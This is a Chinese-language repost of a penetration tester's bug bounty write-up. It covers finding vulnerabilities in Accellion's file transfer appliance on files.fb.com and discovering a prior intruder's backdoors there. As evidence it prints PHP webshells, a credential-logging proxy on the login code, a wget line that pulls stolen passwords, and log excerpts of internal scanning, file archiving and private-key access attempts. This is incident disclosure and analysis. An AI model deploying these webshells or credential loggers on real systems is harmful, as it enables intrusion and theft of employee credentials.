【老文】渗透Facebook 的思路与发现

hades / 2018-03-09 15:36:27 / 浏览数 3944 渗透测试 渗透测试 顶(0) 踩(0)

By Orange Tsai

写在故事之前

身为一位渗透测试人员，比起Client Side 的弱点我更喜欢Server Side 的攻击，能够直接的控制伺服器、获得权限操作SHELL 才爽<(￣﹀￣)>

当然一次完美的渗透任何形式的弱点都不可小觑，在实际渗透时偶尔还是需要些Client Side
弱点组合可以更完美的控制伺服器，但是在寻找弱点时我本身还是先偏向以可直接进入伺服器的方式来去寻找风险高、能长驱直入的弱点。

随着Facebook在世界上越来越火红、用户量越来越多，一直以来都有想要尝试看看的想法，恰巧Facebook在2012年开始有了Bug Bounty奖金猎人的机制让我更跃跃欲试。

一般如由渗透的角度来说习惯性都会从收集资料、侦查开始，首先界定出目标在网路上的"范围" 有多大，姑且可以评估一下从何处比较有机会下手。例如:

- Google Hacking 到什么资料?
- 用了几个B 段的IP ? C 段的IP ?
- Whois? Reverse Whois?
- 用了什么域名? 内部使用的域名? 接着做子域名的猜测、扫描
- 公司平常爱用什么样技术、设备?
- 在Github, Pastebin 上是否有泄漏什么资讯?
- ...etc

当然Bug Bounty 并不是让你无限制的攻击，将所搜集到的范围与Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。

一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨

1. 对多数大公司而言，" 网路边界
   "是比较难顾及、容易出现问题的一块，当公司规模越大，同时拥有数千、数万台机器在线，网管很难顾及到每台机器。在攻防里，防守要防的是一个面，但攻击只需找个
2. 对于" 连网设备
   "的安全意识相对薄弱，由于连网设备通常不会提供SHELL给管理员做进一步的操作，只能由设备本身所提供的介面设定，所以通常对于设备的防御都是从网路层来抵挡，
3. 人的安全，随着" 社工库
   "的崛起，有时可以让一次渗透的流程变得异常简单，从公开资料找出公司员工列表，再从社工库找到可以登入VPN的员工密码就可以开始进行内网渗透，尤其当社工库数
   量变成质变 "时只要关键人物的密码在社工库中可找到，那企业的安全性就全然突破:P

理所当然在寻找Facebook 弱点时会以平常进行渗透的思路进行，在开始搜集资料时除了针对Facebook 本身域名查询外也对注册信箱进行Reverse Whois
意外发现了个奇妙的域名名称

```
tfbnw.net
```

TFBNW似乎是" TheFacebook Network "的缩写
再藉由公开资料发现存在下面这台这台伺服器

```
vpn.tfbnw.net
```

哇! vpn.tfbnw.net 看起来是个Juniper SSL VPN 的登入介面，不过版本满新的没有直接可利用的弱点，不过这也成为了进入后面故事的开端。

TFBNW 看似是Facebook 内部用的域名，来扫扫vpn.tfbnw.net 同网段看会有什么发现

- Mail Server Outlook Web App
- F5 BIGIP SSL VPN
- CISCO ASA SSL VPN
- Oracle E-Business
- MobileIron MDM

从这几台机器大致可以判断这个网段对于Facebook 来说应该是相对重要的网段，之后一切的故事就从这里开始。

弱点发现

在同网段中，发现一台特别的伺服器

```
files.fb.com
```

↑ files.fb.com 登入介面

从LOGO 以及Footer 判断应该是Accellion 的Secure File Transfer (以下简称FTA)

FTA 为一款标榜安全档案传输的产品，可让使用者线上分享、同步档案，并整合AD, LDAP, Kerberos 等Single Sign-on 机制，Enterprise 版本更支援SSL VPN 服务。

首先看到FTA 的第一件事是去网路上搜寻是否有公开的Exploit 可以利用，Exploit 最近的是由HD Moore 发现并发布在Rapid7 的这篇Advisory

- Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱点中可直接从" /tws/getStatus
"中泄漏的版本资讯判断是否可利用，在发现files.fb.com时版本已从有漏洞的0.18升级至0.20了，不过就从Advisory中所透露的片段程式码感觉FTA的撰写风格如果再继续挖

不过从实际黑箱的方式其实找不出什么问题点只好想办法将方向转为白箱测试，透过各种方式拿到旧版的FTA 原始码后终于可以开始研究了!

整个FTA 产品大致架构

1. 网页端介面主要由Perl 以及PHP 构成
2. PHP 原始码皆经过IonCube 加密
3. 在背景跑了许多Perl 的Daemon

首先是解密IonCude 的部分，许多设备为了防止自己的产品被检视所以会将原始码加密，不过好在FTA 上的IonCude
版本没到最新，可以使用现成的工具解密，不过由于PHP 版本的问题，细节部份以及数值运算等可能要靠自己修复一下，不然有点难看...

经过简单的原始码审查后发现，好找的弱点应该都被Rapid7找走了T^T
而需要认证才能触发的漏洞又不怎么好用，只好认真点往深层一点的地方挖掘!

经过几天的认真挖掘，最后总共发现了七个弱点，其中包含了

- Cross-Site Scripting x 3
- Pre-Auth SQL Injection leads to Remote Code Execution
- Known-Secret-Key leads to Remote Code Execution
- Local Privilege Escalation x 2

除了回报Facebook 安全团队外，其余的弱点也制作成Advisory 提交Accellion 技术窗口，经过厂商修补提交CERT/CC 后取得四个CVE 编号

- CVE-2016-2350
- CVE-2016-2351
- CVE-2016-2352
- CVE-2016-2353

详细的弱点细节会待Full Disclosure Policy 后公布!

↑ 使用Pre-Auth SQL Injection 写入Webshell

在实际渗透中进去伺服器后的第一件事情就是检视当前的环境是否对自己友善，为了要让自己可以在伺服器上待的久就要尽可能的了解伺服器上有何限制、纪录，避开可能会

Facebook 大致有以下限制:

1. 防火墙无法连外, TCP, UDP, 53, 80, 443 皆无法
2. 存在远端的Syslog 伺服器
3. 开启Auditd 记录

无法外连看起来有点麻烦，但是ICMP Tunnel 看似是可行的，但这只是一个Bug Bounty Program 其实不需要太麻烦就纯粹以Webshell 操作即可。

似乎有点奇怪?

正当收集证据准备回报Facebook 安全团队时，从网页日志中似乎看到一些奇怪的痕迹。

首先是在" /var/opt/apache/php_error_log "中看到一些奇怪的PHP错误讯息，从错误讯息来看似乎像是边改Code边执行所产生的错误?

↑ PHP error log

跟随错误讯息的路径去看发现疑似前人留下的Webshell 后门

↑ Webshell on facebook server

其中几个档案的内容如下

sshpass

■■■■■■■ sshpass

bN3d10Aw.php

```
<?php echo shell_exec($_GET['c']); ?>
```

uploader.php

```
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
```

d.php

```
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
```

sclient_user_class_standard.inc

```
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = 0;
$max_retries = 100;

// ■■...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_

// ■■...
```

前几个就是很标准的PHP一句话木马
其中比较特别的是“ sclient_user_class_standard.inc ”这个档案

include_once中“ sclient_user_class_standard.inc.orig ”为原本对密码进行验证的PHP程式，骇客做了一个Proxy在中间并在进行一些重要操作时先把GET, POST, COOKIE的值记录起来

整理一下，骇客做了一个Proxy 在密码验证的地方，并且记录Facebook 员工的帐号密码，并且将记录到的密码放置在Web 目录下，骇客每隔一段时间使用wget 抓取

```
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
```

↑ Logged passwords

从纪录里面可以看到除了使用者帐号密码外，还有从FTA 要求档案时的信件内容，记录到的帐号密码会定时Rotate (后文会提及，这点还满机车的XD)

发现当下，最近一次的Rotate从2/1记录到2/7共约300笔帐号密码纪录，大多都是“ @fb.com ”或是“ @facebook.com ”的员工帐密，看到当下觉得事情有点严重了，在FTA中，使用者的登入主要有两种模式

1. 一般用户注册，密码Hash 存在资料库，由SHA256 + SALT 储存
2. Facebook 员工(@fb.com) 则走统一认证，使用LDAP 由AD 认证

在这里相信记录到的是真实的员工帐号密码，\猜测 **这份帐号密码应该可以通行Facebook Mail OWA, VPN等服务做更进一步的渗透...

此外，这名“骇客” 可能习惯不太好:P

1. 后门参数皆使用GET 来传递，在网页日志可以很明显的发现他的足迹
2. 骇客在进行一些指令操作时没顾虑到STDERR ，导致网页日志中很多指令的错误讯息，从中可以观察骇客做了哪些操作

从access.log 可以观察到的每隔数日骇客会将记录到的帐号密码清空

```
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./ssh
```

打包档案

```
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files
```

对内部网路结构进行探测

```
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0
...
```

使用Shell Script 进行内网扫描但忘记把STDERR 导掉XD

尝试对内部LDAP 进行连接

```
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=co
```

尝试访问内部网路资源
(看起来Mail OWA可以直接访问...)

```
--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

    0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
```

尝试对SSL Private Key 下手

```
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
```

从浏览器观察files.fb.com 的凭证还是Wildcard 的*.fb.com ...

后记

在收集完足够证据后便立即回报给Facebook 安全团队，回报内容除了漏洞细节外，还附上相对应的Log 、截图以及时间纪录xD

从伺服器中的日志可以发现有两个时间点是明显骇客在操作系统的时间，一个是七月初、另个是九月中旬

七月初的动作从纪录中来看起来比较偏向"逛"伺服器，但九月中旬的操作就比较恶意了，除了逛街外，还放置了密码Logger等，至于两个时间点的"骇客"是不是同一个人就不
而七月发生的时机点正好接近CVE-2015-2857 Exploit公布前，究竟是透过1-Day还是无0-Day入侵系统也无从得知了。

这件事情就记录到这里，总体来说这是一个非常有趣的经历xD
也让我有这个机会可以来写写关于渗透的一些文章:P

最后也感谢Bug Bounty 及胸襟宽阔的Facebook 安全团队让我可以完整记录这起事件:)

Timeline

- 2016/02/05 20:05 提供漏洞详情给Facebook 安全团队
- 2016/02/05 20:08 收到机器人自动回覆
- 2016/02/06 05:21 提供弱点Advisory 给Accellion 技术窗口
- 2016/02/06 07:42 收到Thomas 的回覆，告知调查中
- 2016/02/13 07:43 收到Reginaldo 的回覆，告知Bug Bounty 奖金$10000 USD
- 2016/02/13 询问是否撰写Blog 是否有任何要注意的地方?
- 2016/02/13 询问此漏洞被认为是RCE 还是SQL Injection
- 2016/02/18 收到Reginaldo 的回覆，告知正在进行调查中，希望Blog 先暂时不要发出
- 2016/02/24 收到Hai 的回覆，告知奖金将会于三月发送
- 2016/04/20 收到Reginaldo 的回覆，告知调查已完成

上一篇：Exim off-by-one R... 下一篇：网站漏洞——文件判断函数的安全风险...

1. 0 条回复
   - 动动手指，沙发就是你的了！